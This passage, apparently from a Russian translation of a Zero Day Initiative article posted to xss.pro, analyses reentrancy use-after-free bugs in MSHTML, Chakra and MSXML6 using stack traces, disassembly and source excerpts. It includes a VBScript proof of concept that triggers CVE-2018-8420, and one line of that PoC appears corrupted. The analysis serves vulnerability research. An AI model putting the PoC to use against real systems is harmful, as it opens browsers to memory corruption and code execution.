0c41fe9c 72f63a31 0b4bcff0 00000000 00000000 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
0c41fed4 752cee6c 0bd9efe8 0c41ff20 76fe3ab3 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
0c41fee0 76fe3ab3 0bd9efe8 72c434a1 00000000 kernel32!BaseThreadInitThunk+0xe
0c41ff20 76fe3a86 72f639a0 0bd9efe8 00000000 ntdll!__RtlUserThreadStart+0x70
0c41ff38 00000000 72f639a0 0bd9efe8 00000000 ntdll!_RtlUserThreadStart+0x1b
Обратите внимание на присутствие CInput :: CacheTrackContentRect в стеке вызовов. Эта функция играет ключевую роль в уязвимости, потому что приводит к ошибочному повторному использованию Slider. Следующий код взят из Cinput::CacheTrackContentRect:
HTML:
.text:50BF4E3B mov eax, [ebx+0A0h]; ebx points to the CInput (“this”). Set eax to the pointer to the Slider.
.text:50BF4E41 push 0
.text:50BF4E43 add eax, 7Ch ; '|'
.text:50BF4E46 push eax ; pass the address of offset +0x7c within the Slider
.text:50BF4E47 call ?GetWidthHelper@CElement@@QAEJPAJK@Z; CElement::GetWidthHelper(long *,ulong)
CInput::CacheTrackContentRect извлекает указатель на Slider из поля CInput, расположенного по смещению +0xA0. Затем он вычисляет смещение +0x7c в структуре Slider и передает этот адрес в качестве параметра в CElement:: GetWidthHelper. CElement::GetWidthHelper использует его как выходной параметр, что означает, что он будет записывать результат по указанному адресу перед возвратом. Уязвимость возникает из-за того, что Slider освобождается до записи CElement::GetWidthHelper в параметр out. Когда CElement::GetWidthHelper в конечном итоге выполняет запись, он записывает в уже освобожденную память. Следовательно, эта уязвимость является результатом использования структуры Slider после освобождения.
Однако с нашим пониманием CWE-1265 мы можем выразить причину этого UAF с большей конкретностью. Обращаясь к стеку вызовов на рисунке 3, обратите внимание, что CInput::CacheTrackContentRect вызывает CElement:: GetWidthHelper, и этот вызов приводит к глубокому и запутанному стеку вызовов. В конечном итоге он производит новый вызов метода объекта CInput, а именно CInput::OnPropertyChange, изменяя состояние CInput и уничтожая Slider. Код в CInput::CacheTrackContentRect, как показано на рисунке 4, не был написан с расчетом на то, что кажущийся безобидным вызов CElement::GetWidthHelper может привести к повторному вызову произвольных методов CInput, изменяющих состояние объекта CInput.
Мы пришли к выводу, что истинная основная причина ZDI-CAN-3499 - непредвиденное повторное использование реализации Cinput. Авторы кода в MSHTML не ожидали, что новые произвольные операции над CInput будут инициированы из CInput:: CacheTrackContentRect. Тем не менее стек вызовов показывает, что при наличии враждебного ввода действительно возможно произвести такой вложенный вызов. Вложенный вызов изменяет состояние, поддерживаемое CInput, нарушая предположение о состоянии CInput, сделанное включающим вызовом Cinput::CacheTrackContentRect.
Как показано на рисунке 3, отличительной чертой CWE-1265 является стек вызовов, который неожиданно повторно вводит блок кода, который не следует повторно вводить (здесь, реализация класса CInput) через запутанную и непредвиденную последовательность вложенных вызовов, на которую влияют враждебные ввод.
Пример 2: ZDI-CAN-6129/CVE-2018-8275: уязвимость Microsoft Chakra Array.splice Use-After-Free, связанная с удаленным выполнением кода
Это уязвимость в обработке массивов в движке Microsoft Chakra JavaScript, которую я обнаружил в апреле 2018 года.
Для правильного понимания этой уязвимости мы должны начать с краткого введения в то, как Chakra представляет массивы в памяти. Хранение массивов в любом современном движке JavaScript - довольно большая тема, но на данный момент мы должны понимать следующие моменты: в JavaScript сценарий может создавать массив и назначать его различным индексам несмежным образом, сделать массив "разреженным". Также возможно и довольно часто сценарии создают более традиционный вид массива, содержащий большой диапазон смежных индексов. Механизм JavaScript должен иметь возможность эффективно представлять оба типа массивов в памяти. В реализации Chakra массив JavaScript представлен объектом C++ типа JavascriptArray, который поддерживает связанный список сегментов массива, каждый из которых представлен структурой типа SparseArraySegment. Каждый сегмент хранит содержимое единого непрерывного диапазона индексов. Эта схема решает проблему эффективности памяти. Разреженный массив может эффективно храниться с использованием большого количества небольших сегментов, в то время как массив с большим непрерывным диапазоном индексов может эффективно храниться с одним большим сегментом. Однако остается одна проблема: сегменты хранятся в связанном списке, который не обеспечивает быстрый произвольный доступ к индексам. Чтобы исправить эту ситуацию, JavascriptArray также может поддерживать хэш-карту, которая сопоставляет индексы с указателями на соответствующие сегменты. Это известно как "карта сегментов" и функционирует как своего рода кеш. Строится только под запросу. Перед любой модификацией массива, для которой карта не может быть обновлена простым способом, Chakra просто отбрасывает карту. Это называется "очисткой" или "дампом" карты. В этом случае карта будет перестроена в следующий раз, когда она понадобится.На этом этапе вы, возможно, догадались, что мы будем говорить о проблеме недействительности кеша.
Я заметил уязвимый код в ChakraCore /lib/Runtime/Library/JavascriptArray.cpp, в методе JavascriptArray:: TryArraySplice, который является частью реализации Array.prototype.splice:
HTML:
// Just dump the segment map on splice (before any possible allocation and throw)
pArr->ClearSegmentMap();
// If the source object is an Array exotic object (Array.isArray) we should try to load the constructor property
// and use it to construct the return object.
JS_REENTRANT_NO_MUTATE(jsReentLock, newObj = ArraySpeciesCreate(pArr, deleteLen, scriptContext, nullptr, nullptr, &isBuiltinArrayCtor));
Перед выполнением любых операций, которые вносят изменения в pArr, код вызывает pArr->ClearSegmentMap(), чтобы аннулировать карту сегментов, поскольку данные в карте могут больше не быть правильными, как только мы начнем вносить изменения в сегменты pArr. Проблема в том, что сразу после очистки карты движок вызывает конструктор видов объекта. Это дает возможность сценарию злоумышленника выполнить и инициировать новую операцию с массивом pArr, которая перестраивает карту сегментов. После возврата из конструктора видов TryArraySplice приступает к внесению изменений в pArr. Потенциально это удаляет некоторые сегменты pArr, на которые все еще ссылается устаревшая карта сегментов, создавая UAF
Чтобы сформулировать это с точки зрения реентерабельности: автор кода на рисунке 5 предположил, что не будет реентерабельности методов, которые изменяют pArr изнутри TryArraySplice, подразумевая, что после очистки карты сегментов можно с уверенностью предположить, что он останется очищено до конца вызова TryArraySplice. Посредством состязательного ввода мы можем произвести такой повторный вызов, нарушив предполагаемое безопасное состояние карты сегмента.
Соответствующий стек вызовов показан ниже.
HTML:
0:017> k
# Child-SP RetAddr Call Site
00 00000037`6a3f2aa0 00007ff8`12dff5fa chakra!Js::JavascriptArray::BuildSegmentMap+0x85 <=== INNER METHOD INVOCATION
01 00000037`6a3f2ad0 00007ff8`12c303fc chakra!Js::JavascriptOperators::OP_GetElementI_ArrayFastPath<Js::JavascriptArray>+0x1dc10a
02 00000037`6a3f2b60 00007ff8`12d40c4a chakra!Js::JavascriptOperators::OP_GetElementI+0x12c
03 00000037`6a3f2c20 00007ff8`12d437f2 chakra!Js::ProfilingHelpers::ProfiledLdElem+0x8fa
04 00000037`6a3f2cb0 00007ff8`12d4ac31 chakra!Js::InterpreterStackFrame::OP_ProfiledGetElementI<Js::OpLayoutT_ElementI<Js::LayoutSizePolicy<0> > >+0x72
05 00000037`6a3f2d00 00007ff8`12d47b15 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x131
06 00000037`6a3f2d60 00007ff8`12d4edb0 chakra!Js::InterpreterStackFrame::Process+0x125
07 00000037`6a3f2dc0 00007ff8`12d4e102 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x9d0
08 00000037`6a3f3120 0000018e`f72a0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x52
09 00000037`6a3f3170 00007ff8`12dd8826 0x0000018e`f72a0fb2
0a 00000037`6a3f31a0 00007ff8`12d417f6 chakra!amd64_CallFunction+0x86
0b 00000037`6a3f31f0 00007ff8`12d44909 chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x1a6
0c 00000037`6a3f3290 00007ff8`12d4ac49 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xa9
0d 00000037`6a3f3310 00007ff8`12d47b15 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x149
0e 00000037`6a3f3370 00007ff8`12d4edb0 chakra!Js::InterpreterStackFrame::Process+0x125
0f 00000037`6a3f33d0 00007ff8`12d4e102 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x9d0
10 00000037`6a3f3710 0000018e`f72a0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x52
11 00000037`6a3f3760 00007ff8`12d2b0ee 0x0000018e`f72a0fba
12 00000037`6a3f3790 00007ff8`12c35502 chakra!<lambda_fc0e308ae07e4768a4bfa4a43a1dda76>::operator()+0xee
13 00000037`6a3f37d0 00007ff8`12d1458f chakra!ThreadContext::ExecuteImplicitCall<<lambda_fc0e308ae07e4768a4bfa4a43a1dda76> >+0xa2
14 00000037`6a3f3830 00007ff8`12d1235a chakra!Js::DictionaryTypeHandlerBase<unsigned short>::GetPropertyFromDescriptor<0,int>+0x20f
15 00000037`6a3f3900 00007ff8`12d3f4d3 chakra!Js::DictionaryTypeHandlerBase<unsigned short>::GetProperty+0x11a
16 00000037`6a3f3970 00007ff8`12c1eaa8 chakra!Js::DynamicObject::GetPropertyQuery+0x53
17 00000037`6a3f39c0 00007ff8`12c72ef3 chakra!Js::JavascriptFunction::GetPropertyQuery+0x48
18 00000037`6a3f3a40 00007ff8`12c748fc chakra!Js::JavascriptOperators::GetProperty_Internal<0>+0xc3
19 00000037`6a3f3b20 00007ff8`12c2820d chakra!Js::JavascriptArray::ArraySpeciesCreate<unsigned int>+0x1ec
1a 00000037`6a3f3c20 00007ff8`12c12709 chakra!Js::JavascriptArray::TryArraySplice+0x1ed <=== OUTER METHOD INVOCATION
1b 00000037`6a3f3d50 00007ff8`12dd8826 chakra!Js::JavascriptArray::EntrySplice+0x1f9
Как обычно, отличительной чертой CWE-1265 является запутанный стек вызовов, показывающий ненормальный и непредвиденный внутренний вызов нереентерабельной единицы кода, в то время как внешний вызов находится в процессе выполнения.
Пример 3: ZDI-CAN-6343/CVE-2018-8420: уязвимость "Double Kill" в MSXML6
Злоумышленники могут использовать функцию VBScript Class_Terminate для создания множества аномальных потоков управления. Я подробно рассказал о некоторых из них в блоге в 2018 году. Некоторые из этих аномальных потоков управления могут быть точно описаны в CWE-1265. В качестве одного наглядного примера смотри второй баг, выделенный в этом сообщении.
Однако здесь я хотел бы представить вариант уязвимости "Double Kill", обсуждаемой в конце этого поста. Термин "Double Kill" был применен к группе уязвимостей, в которой Class_Terminate производит повторный вызов VariantClear. Следствием этого является ошибочное двойное уменьшение счетчика ссылок COM-объекта, на который указывает VARIANT. Таким образом, уязвимости "Double Kill" по своей сути являются примерами CWE-1265, поскольку они включают повторный вход VariantClear (для того же VARIANT) через вложенные вызовы. Microsoft внесла исправления в VariantClear в мае 2018 года, изменив его реализацию, чтобы сделать его практически безопасным для реентерабельности.
Однако оказалось, что были некоторые варианты "Double Kill", которые не включали функцию VariantClear и не были исправлены патчем от мая 2018 года. ZDI-CAN-6343/CVE-2018-8420 - это ошибка в MSXML6, которую я обнаружил в мае 2018 года. Class_Terminate может использоваться длля установщика свойства свойства onreadystatechange объекта XMLHTTP. PoC выглядит следующим образом:
HTML:
<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<script language="VBScript">
Set xmlHttp = CreateObject("Msxml2.XMLHTTP.6.0") ' MSXML6
Set obj1 = Nothing
Class MyClass
Private Sub Class_Terminate
Set obj1 = me MyClass
xmlHttp.onreadystatechange = Nothing ' <=== [3]
End Sub
End Class
xmlHttp.onreadystatechange = new MyClass ' <=== [1]
xmlHttp.onreadystatechange = Nothing ' <=== [2]
MsgBox obj1 ' <=== [4]
</script>
</html>
В [1] первый набор свойств присваивает свойству экземпляр MyClass. В [2] функция установки put_onreadystatechange сначала вызывает Release для экземпляра MyClass, который является текущим значением свойства, таким образом вызывая Class_Terminate. Внутри этой функции, в [3], put_onreadystatechange вызывается реентерабельным способом для "Double Kill". Это вызывает второе ложное уменьшение счетчика ссылок экземпляра MyClass. Когда выполнение достигает [4], obj содержит ссылку на экземпляр MyClass, но к этому времени он уже освобожден из-за постороннего уменьшения его счетчика ссылок.
Стек вызовов, показывающий реентерабельность:
HTML:
ChildEBP RetAddr Args to Child
06e2b52c 6e1be119 0bd4bf90 00000000 00000000 msxml6!XMLHttp::put_onreadystatechange [d:\blue\enduser\sql\xml\msxml6\http\xmlhttp.cxx @ 837] <==== INNER INVOCATION
06e2b550 6e155b41 0bd4bf90 0000000e 06e2b5b4 msxml6!XMLHttp::_invoke+0x1c9 [d:\blue\enduser\sql\xml\msxml6\http\xmlhttp.cxx @ 1887]
06e2b6a8 6e0ec7cc 0000000e 00000409 00000004 msxml6!_dispatchImpl::InvokeHelper+0x6935d [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 616]
06e2b6dc 6e1a8fe4 0000000e 6e18da20 00000409 msxml6!_dispatchImpl::Invoke+0x61 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 122]
(Inline) -------- -------- -------- -------- msxml6!__dispatch::Invoke+0x23 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 1139]
06e2b704 6cd64cef 0bd4bf90 0000000e 6cd6472c msxml6!_dispatch<IMXWriter,&LIBID_MSXML2,&IID_IMXWriter,1>::Invoke+0x28 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.hxx @ 376]
06e2b84c 6cd898dd 0000000e 00000004 00000000 vbscript!InvokeDispatch+0x229
06e2b874 6cd62bb4 06e2b938 00000004 00000000 vbscript!InvokeByName+0x48
06e2b994 6cd662ee 00000000 45d8ec48 00000000 vbscript!CScriptRuntime::RunNoEH+0x15b1
06e2b9e4 6cd6620b 00000000 090fefe0 6cd660b8 vbscript!CScriptRuntime::Run+0xc3
06e2baf0 6cd779f8 00000000 00000000 00000000 vbscript!CScriptEntryPoint::Call+0x10b
06e2bb34 6cd77937 0bf58e58 6cd75380 00000000 vbscript!VBScriptClass::TerminateClass+0x7e
06e2bb4c 6e1d61e8 090d4fc8 0bf58e58 6e111750 vbscript!VBScriptClass::Release+0x2d
06e2bb68 6e1d5763 00000000 0bf58e58 6e1d5700 msxml6!URLRequest::put_onreadystatechange+0x58 [d:\blue\enduser\sql\xml\msxml6\core\net\urlrequest.cxx @ 274]
06e2bb84 6e1bf352 00000000 d8181291 0bd4bf90 msxml6!URLMONRequest::put_onreadystatechange+0x63 [d:\blue\enduser\sql\xml\msxml6\core\net\urlmonrequest.cxx @ 1844]
06e2bbbc 6e1be119 0bd4bf90 00000000 00000000 msxml6!XMLHttp::put_onreadystatechange+0x62 [d:\blue\enduser\sql\xml\msxml6\http\xmlhttp.cxx @ 849] <==== OUTER INVOCATION
06e2bbe0 6e155b41 0bd4bf90 0000000e 06e2bc44 msxml6!XMLHttp::_invoke+0x1c9 [d:\blue\enduser\sql\xml\msxml6\http\xmlhttp.cxx @ 1887]
06e2bd38 6e0ec7cc 0000000e 00000409 00000004 msxml6!_dispatchImpl::InvokeHelper+0x6935d [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 616]
06e2bd6c 6e1a8fe4 0000000e 6e18da20 00000409 msxml6!_dispatchImpl::Invoke+0x61 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 122]
(Inline) -------- -------- -------- -------- msxml6!__dispatch::Invoke+0x23 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.cxx @ 1139]
06e2bd94 6cd64cef 0bd4bf90 0000000e 6cd6472c msxml6!_dispatch<IMXWriter,&LIBID_MSXML2,&IID_IMXWriter,1>::Invoke+0x28 [d:\blue\enduser\sql\xml\msxml6\core\com\_dispatch.hxx @ 376]
06e2bedc 6cd898dd 0000000e 00000004 00000000 vbscript!InvokeDispatch+0x229
На рисунке 8 показано, что XMLHttp :: put_onreadystatechange был повторно введен через неожиданную цепочку вложенных вызовов, что является отличительной чертой CWE-1265.
Заключение
Аномальные реентерабельные стеки вызовов являются основной причиной многочисленных уязвимостей, обнаруженных в сложных программных системах. Это особенно верно для программного обеспечения, которое включает в себя механизм, который выполняет или интерпретирует ненадежный сценарий. Присутствие ненадежного сценария в среде выполнения может легко превратить то, что обычно было бы безобидным вызовом, в отправную точку для запутанной последовательности вложенных вызовов, в конечном итоге приводя к повторному вызову, который изменяет данные таким образом, который нарушает предположения, сделанные исходной вызывающей функцией. Я надеюсь, что это обсуждение послужит полезной концептуальной основой для поиска и анализа этих типов уязвимостей.
Источник https://www.zerodayinitiative.com/b...understand-vulnerable-reentrant-control-flows
Автор перевода: yashechka
Переведено специально для https://xss.pro